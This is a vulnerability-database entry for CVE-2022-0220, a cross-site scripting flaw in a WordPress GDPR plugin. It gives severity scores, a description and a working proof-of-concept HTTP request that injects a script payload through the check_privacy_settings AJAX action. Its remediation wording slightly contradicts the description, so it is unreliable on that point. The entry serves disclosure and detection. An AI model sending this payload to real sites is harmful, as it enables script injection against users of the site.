🔙 목록으로 돌아가기

CVE-2022-0220: WordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting

TitleWordPress GDPR & CCPA <1.9.27 - Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationVersion 1.9.26 has added a CSRF check. This vulnerability is only exploitable against unauthenticated users.
CVSS Score6.1
EPSS Score0.03083
CVE IDCVE-2022-0220
CWE IDCWE-116
Tags cve2022 cve wpscan wordpress wp-plugin wp xss unauth welaunch vuln

🔍 Vulnerability Description

WordPress GDPR & CCPA plugin before 1.9.27 contains a cross-site scripting vulnerability. The check_privacy_settings AJAX action, available to both unauthenticated and authenticated users, responds with JSON data without an “application/json” content-type, and JavaScript code may be executed on a victim’s browser.

🌐 HTTP Request

GET /wp-admin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce=joxzII

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0220.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0220.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A